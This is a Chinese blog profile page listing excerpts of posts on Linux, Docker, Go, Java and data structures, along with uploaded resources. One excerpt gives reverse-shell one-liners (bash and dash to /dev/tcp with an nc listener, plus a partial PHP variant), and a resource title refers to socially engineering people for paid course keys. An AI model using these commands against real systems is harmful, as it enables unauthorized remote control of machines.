自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(95)
  • 资源 (155)
  • 问答 (1)
  • 收藏
  • 关注

原创 Ubuntu16/04安装python3.9版本

Ubuntu16.04本身携带python2.7和python3.5,这两个版本的python。而实际工作中,可能需要更高版本的python,因此需要安装更高版本。

2022-09-03 10:04:16 712

原创 A connection attempt failed because the connected party did not properly

Error:go: github.com/denisenkom/go-mssqldb@v0.11.0: Get "https://proxy.golang.org/github.com/denisenkom/go-mssqldb/@v/v0.11.0.mod": dial tcp 172.217.163.49:443: connectex: A connection attempt failed because the connected party did not properly respond

2022-05-02 10:24:21 855

原创 删除为node的docker镜像

sudo docker rmi $(sudo docker images | grep "none" | awk '{print $3}')

2020-12-18 11:30:46 214

原创 容器内反弹shell的51种姿势

什么是反弹shell?反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。为什么要反弹shell?通常用于被控端因防火墙受限、权限不足、端口被占用等情形。举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向

2020-11-19 13:15:31 666

原创 Pod报错——Back-off restarting failed container 的解决办法

已pod形式启动了一个镜像,执行kubectl get pod cmds查看pod状态发现pod一直重启。查看具体的报错信息是,发现报错内容为:Back-off restarting failed container解决办法为:要使Pod持续运行,就必须指定一个永远不会完成的任务。因此在yaml文件中指定一个启动命令,内容如下:command: ["/bin/bash", "-ce", "tail -f /dev/null"]完整版yaml文件为:apiVersion:...

2020-06-09 11:03:41 15195 1

原创 ubuntu docker容器中乱码解决办法

首先,安装中文支持包language-pack-zh-hans:sudo apt-get install language-pack-zh-hans然后,修改/etc/environment(在文件的末尾追加):LANG="zh_CN.UTF-8"LANGUAGE="zh_CN:zh:en_US:en"再修改/var/lib/locales/supported.d/local(没有这...

2020-04-08 15:10:31 258

原创 编写内核模块,读取所有进程的task_struct结构信息

内核模块代码如下,hello.c#include <linux/kernel.h>#include <linux/module.h>#include <linux/proc_fs.h>#include<linux/sched/signal.h>#include <linux/init.h>static int __init...

2020-03-05 21:08:09 747

原创 反弹shell的姿势汇总

首先在攻击者机器上监听3000端口nc -nvlp 3000bash反弹bash -i >& /dev/tcp/172.17.230.33/3000 0>&1dash反弹dash -i >& /dev/tcp/172.17.230.33/3000 0>&1PHP反弹php -r 'exec("/bin/ba...

2019-10-16 18:46:59 183

原创 PIP更换国内源

由于网络原因,pip安装的有些包会因为超时安装不上,这时候可以切换国内的pip源进行安装。pip国内的一些镜像  阿里云http://mirrors.aliyun.com/pypi/simple/  中国科技大学https://pypi.mirrors.ustc.edu.cn/simple/  豆瓣(douban)http://pypi.douban.com/simple/...

2019-08-27 20:19:06 381

原创 pip3切换源

mkdir ~/.pipvim ~/.pip/pip.conf# 然后将下面这两行复制进去就好了[global]index-url = https://mirrors.aliyun.com/pypi/simple#--------------------------------------------------------------------国内其他pip源 清华:ht...

2019-08-24 22:55:06 107

原创 ubuntu配置spacevim+neovim

配置neovimsudo apt-get install software-properties-commonsudo apt-add-repository ppa:neovim-ppa/stablesudo apt-get updatesudo apt-get install neovim配置spacevimcurl -sLf https://spacevim.org/in...

2019-08-01 11:11:33 825

原创 golang安装gRPC

golang安装gRpc安装官方安装命令:go get google.golang.org/grpc由于网络原因,可能会安装失败,会报如下错误:packagegoogle.golang.org/grpc: unrecognized import path "google.golang.org/grpc"(https fetch: Gethttps://google.golang...

2019-08-01 10:33:33 147

原创 Java实现身份证号格式验证

package idcard;//18位公民身份证号码是特征组合,由17位数字本体码和1位数字校验码组成。//排列顺序从左至右以此为:6位数字地址码、8位数字出生日期码、3位数字顺序码和1位数字校验码。//地址码:表示编码对象常住户口所在县(市、旗、区)的行政区划代码,按GB/T 2260的规定执行。//出生日期码:表示编码对象出生的年、月、日,GB/T 7408的规定执行。年、月、日代...

2019-07-23 23:38:50 2349

原创 Java实现点分十进制IP地址转换为整数

package ipaddress;//一、将IP地址转换为整数(IPV4,点分十进制)的关键技术点如下://1、通过String的indexOf方法找出字符串IP地址中的"."的位置。//2、根据点的位置,使用String的substring方法把IP字符串分为4段。//3、使用Long的parseLong方法把子段转换成一个3位的数字。//4、使用左移位操作(<<)给每...

2019-07-22 23:53:17 678

原创 Java的位运算

package com.company;/** * Created by MXi4oyu on 2019/7/8. * * 一、Java中采用补码表示二进制数,最高位是符号位,正数的符号位是0,负数的符号位是1。补码的表示需要满足如下要求: * (1)正数的最高位是0,其余各位代表数值本身的二进制数。 * (2)负数的补码为该负数绝对值的补码按位取反,然后加1。 * * 举例:...

2019-07-14 11:24:14 83

原创 聊一聊云计算的三种服务模式(IaaS/PaaS/SaaS)

定义云计算主要分为三种服务模式,而且这个三层的分法主要是从用户体验的角度出发的。云计算服务是分层的,分别为:第一层(底层)为Iaas,第二层(中间件)为Paas,第三层(顶层)为Saas。IaaS:Infrastructure as a Service,基础设施即服务,这层的作用是提供虚拟机或者其他资源作为服务提供给用户。PaaS:Platform as a Service,平...

2019-07-11 19:59:46 706

原创 java工厂模式的三种实现方式

工厂模式简介今天给大家介绍另外一种设计模式——工厂模式。工厂模式主要用于创建产品(对象),用户只使用产品提供的功能,至于产品功能是如何实现的、产品本身是怎么创建的,用户并不关心。关键技术点实现工厂模式的关键技术点如下:用一个接口抽象产品的功能,所有具体的产品类都实现该接口。工厂类定义一个创建产品的方法,参数为产品的具体类型,返回一个产品接口对象。用户通过产品接口使用产品功能。...

2019-07-08 18:00:20 256

原创 Java单例模式的5种实现方法

一、什么是单例模式单例模式常用于创建一个全局共享的类实例,即在整个应用程序中只存在一个类实例二、单例模式的优点和适用场景优点: 在内存中只有一个对象,节省内存空间 避免频繁的创建销毁对象,可以提高性能 避免对共享资源的多重占用 可以全局访问 适用场景: 需要频繁实例化然后销毁的对象。 创建对象时耗时过多或者消耗资源过多,但又经常...

2019-07-07 12:09:35 148

原创 删除数据库中id重复的记录

一条SQL删除数据库中id重复的记录oracle数据库执行delete from table_name where table_name.rowid not in(select max(rowid) from table_name group by id);postgresql数据库执行delete from table_name where vulnerability....

2019-05-31 15:01:25 454

原创 Centos7升级gccmv /usr/bin/gcc /usr/bin/gcc4.8.5

我当前使用的操作系统版本为:CentOS Linux release 7.6.1810 (Core)我当前使用的GCC版本为:4.8.5 20150623 (Red Hat 4.8.5-36) (GCC)我最近在编译一个项目需要GCC支持C++14的语法,为了一步到位,把C++17也支持了,我直接安装了GCC最新版本。一、安装开发必备环境:yum groupinstall...

2019-03-11 12:58:17 486

转载 python2和python3 urllib库区别

Python 2 name Python 3 name urllib.urlretrieve() urllib.request.urlretrieve() urllib.urlcleanup() urllib.request.urlcleanup() urllib.quote() urllib.parse.quote()  urllib.quote_plus...

2018-09-15 13:38:15 187

原创 C++重读笔记

一、寄存器变量:1、寄存器类变量的数据长度与通用寄存器的长度相当。一般只能用char型和int型变量。2、要选择一些使用频度高的变量定义为寄存器变量,这样可以提高运行效率。#include "stdafx.h"#include &lt;iostream&gt;using namespace std;int _tmain(int argc, _TCHAR* argv[]){ int ...

2018-07-07 18:47:16 236

原创 Go语言搜索某个大文件中是否包含特定字符串

package mainimport ( "time" "os" "bufio" "strconv" "log" "bytes")var totalSize float64func trace(msg string) func(){ start := time.Now() log.Printf("%s&

2018-06-08 19:02:06 3579

原创 《人性的弱点》读书笔记

第一章:成功有效的人际交往第一节:友善而热情地对待他人太阳的温暖使人们脱去厚重的外衣,风的冷酷却使人裹衣取暖。同样,友善、亲切、真诚的态度,会使人抛弃成见。“一滴蜜汁远比一加仑的胆汁更能吸引蜜蜂”。当你要别人认同你的观点时,记住一定要先诚恳友善地对待他人。第二节:不因小事与别人争论不休当人们逆着自己的意见,被别人说服时,他仍会坚持自己是正确的。“如果总是反对、争辩,你也许会...

2018-06-05 08:43:19 785

原创 golang 使用docker api 拉取docker registry中的镜像

package mainimport ( "github.com/docker/docker/api/types" "golang.org/x/net/context" "github.com/docker/docker/client" "encoding/base64" "encoding/json" "io" "os" "fmt&quo

2018-05-24 17:31:59 2433

原创 简单文件加密

// SimpleFileEncryption.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"/*加密思路:fgetc()函数可以每次从文件中读取一个字符,fputc()函数每次可以向文件中写入一个字符。利用该特性,首先打开要加密的文件,同时创建一个临时文件。每次从要加密的文件中读取一个字符,对其进行运算(此处为取反)后再写入到文件。由于此处使用...

2018-05-24 01:00:56 492

原创 Win Socket基础

// netServer.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"#include &lt;WinSock2.h&gt;#include &lt;WS2tcpip.h&gt;#pragma comment(lib,"ws2_32")int main(){ //第一步:WinSock初始化 WORD wVersion = MAKEWORD...

2018-05-23 13:08:37 180

原创 postgresql安装

wget https://oscg-downloads.s3.amazonaws.com/packages/postgresql-9.5.13-1-x64-bigsql.debdpkg -i postgresql-9.5.13-1-x64-bigsql.deb ====================================== Binaries installed at: /opt...

2018-05-20 12:28:16 318

原创 小刀笔记3

1、Python中赋值和传递都是引用2、

2018-05-15 10:40:36 171

原创 docker-bench-security汉化版本

https://github.com/MXi4oyu/docker-bench-security戳我查看

2018-05-11 15:07:27 593

转载 gossh

package mainimport ( "flag" "io" "log" "net" "os" "os/exec" "golang.org/x/crypto/ssh/terminal" "github.com/kr/pty")var ( addr = flag.String("addr",

2018-05-11 12:16:47 1557

转载 go语言链接爬虫

package mainimport ( "github.com/PuerkitoBio/goquery" //解析html "os" "container/list" "github.com/gogather/com/log" "fmt" "strings" "net/url" "net/http" "errors

2018-05-11 10:59:33 213

原创 Java常见排序算法

首先定义一个排序接口。ISortNumber.javapackage demo.secapi.net;/** * Created by MXi4oyu on 2018/5/6. */public interface ISortNumber { /** * * 对整型数组按升序排序 * */ public int[] sortAS...

2018-05-08 21:44:07 112

原创 二叉树排序

#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time : 2018/5/5 上午10:34# @Author : MXi4oyu# @Site : # @File : PyBtreeSort.py# @Software: PyCharmclass PyBtree: def __init__(self,v...

2018-05-05 11:03:35 497

原创 二叉树遍历

#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time : 2018/5/5 上午10:37# @Author : MXi4oyu# @Site : # @File : PyBtreeOrder.py# @Software: PyCharmclass PyBtree: def __init__(self,...

2018-05-05 10:53:07 206

原创 二分法查找

#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time : 2018/5/5 上午8:35# @Author : MXi4oyu# @Site : # @File : PyBinarySearch.py# @Software: PyCharm#二分查找,首先对要查找的数据进行排序def BubbleSort(bl...

2018-05-05 09:03:17 192

原创 二叉树

#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time : 2018/5/4 下午10:14# @Author : MXi4oyu# @Site : # @File : PyBtree.py# @Software: PyCharmclass PyBtree: def __init__(self,value)...

2018-05-04 22:26:33 169

原创 队列

# -*- coding: utf-8 -*-"""------------------------------------------------- File Name: PyQueue Description : Author : MXi4oyu date: 2018/5/4 0004---------------------...

2018-05-04 18:52:15 172

原创 堆栈

# -*- coding: utf-8 -*-"""------------------------------------------------- File Name: PyStack Description : Author : MXi4oyu date: 2018/5/4 0004---------------------...

2018-05-04 11:59:52 212

原创 顺序表——数组:通过连续的存储单元来实现存储的数据集合

#include "stdafx.h"#include &lt;malloc.h&gt;#include &lt;stdlib.h&gt;struct Array{ int * pBase; //存储的是数组第一个元素的地址 int len; //数组所能容纳的元素的最大个数 int cnt; //当前数组有效元素的个数 //int increment; //自动增长因子};...

2018-05-03 17:26:17 340

ASM学习环境搭建.zip

汇编语言学习环境搭建

2019-09-04

淘宝技术这十年高清批注版.pdf.zip

淘宝技术这十年

2019-07-07

go语言链接爬虫

go语言链接爬虫 go语言链接爬虫 go语言链接爬虫 go语言链接爬虫 go语言链接爬虫

2018-05-11

高级PHP应用程序漏洞审核技术

高级PHP应用程序漏洞审核技术

2016-12-19

javascript图片浏览范例

javascript图片浏览范例

2014-02-02

PHP手工注入

PHP手工注入

2014-01-12

nessus安装过程详解

nessus安装过程详解

2014-01-10

HTML参考手册

HTML参考手册

2013-12-24

Google hacking技术

Google hacking技术

2013-12-22

sql注入简介

sql注入简介

2013-12-22

LeiTing.jar

雷霆战机 java 小游戏

2013-11-19

java模拟太阳系行星运动源码

java模拟太阳系行星运动源码

2013-11-06

屏幕录像专家2013

屏幕录像专家2013

2013-10-18

MyDjango Dome

MyDjango Dome

2013-07-30

C#字符串和正则表达式参考手册.pdf

C#字符串和正则表达式参考手册.pdf

2013-07-27

与孩子一起学编程

与孩子一起学编程

2013-07-14

批量搜索利器V1.6

数字雨批量搜索利器V1.6是V1.5的改进版,修复了很多Bug,也是目前较稳定的版本。 用法是配置config.txt里面的搜索关键词,双击即可运行,全自动搜索,无需人工值守。 批量搜索完毕后会在程序目录下面生成result.txt和domain.txt。 result.txt是搜索到的Url,domain.txt是整理出来的域名。 本人QQ:798033502 以书会友诚交天下朋友:http://itbook.taobao.com 博客:http://blog.csdn.net/mypc2010

2013-07-04

窗体之间回传值

窗体之间回传值

2013-07-03

俄罗斯方块

俄罗斯方块

2013-06-17

ASP.NET MVC框架开发系列课程(1):ASP.NET MVC框架预览.pdf

ASP.NET MVC框架开发系列课程(1):ASP.NET MVC框架预览.pdf

2013-03-09

利用社会工程学骗取VIP教程的Key的冷思考

利用社会工程学骗取VIP教程的Key的冷思考 利用社会工程学骗取VIP教程的Key的冷思考 利用社会工程学骗取VIP教程的Key的冷思考 利用社会工程学骗取VIP教程的Key的冷思考 利用社会工程学骗取VIP教程的Key的冷思考

2013-01-03

ASP.NET.MVC系列教程

ASP.NET.MVC系列教程

2012-12-23

wxPython-API.chm

wxPython-API.chm

2012-12-16

Python.Cookbook

Python.Cookbook

2012-12-16

Python技术参考大全

《Python技术参考大全》.pdf

2012-12-15

我的名字叫python

我的名字叫python

2012-12-15

python学习笔记

python学习笔记 python学习笔记 python学习笔记 python学习笔记 python学习笔记

2012-12-15

Python入门指南 Release 2.7

Python入门指南 Release 2.7

2012-12-10

Python语言入门

Python语言入门

2012-12-10

与服务器端通讯

与服务器端通讯

2012-10-15

silverlight MVVM例子

silverlight MVVM例子

2012-10-15

C#基础代码

C#基础代码

2012-09-28

C#基础加强6.rar

C#基础加强6.rar

2012-09-23

C#基础加强4

C#基础加强4

2012-09-23

C#基础加强3

C#基础加强3

2012-09-23

silverlight

silverlight

2012-09-07

silverlight-王鹏

silverlight

2012-09-04

PDF-to-Word

PDF-to-Word

2012-08-28

软件工程国家标准文档

软件工程国家标准文档

2012-08-27

C#抽奖机 WPF

C#抽奖机

2012-08-27

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除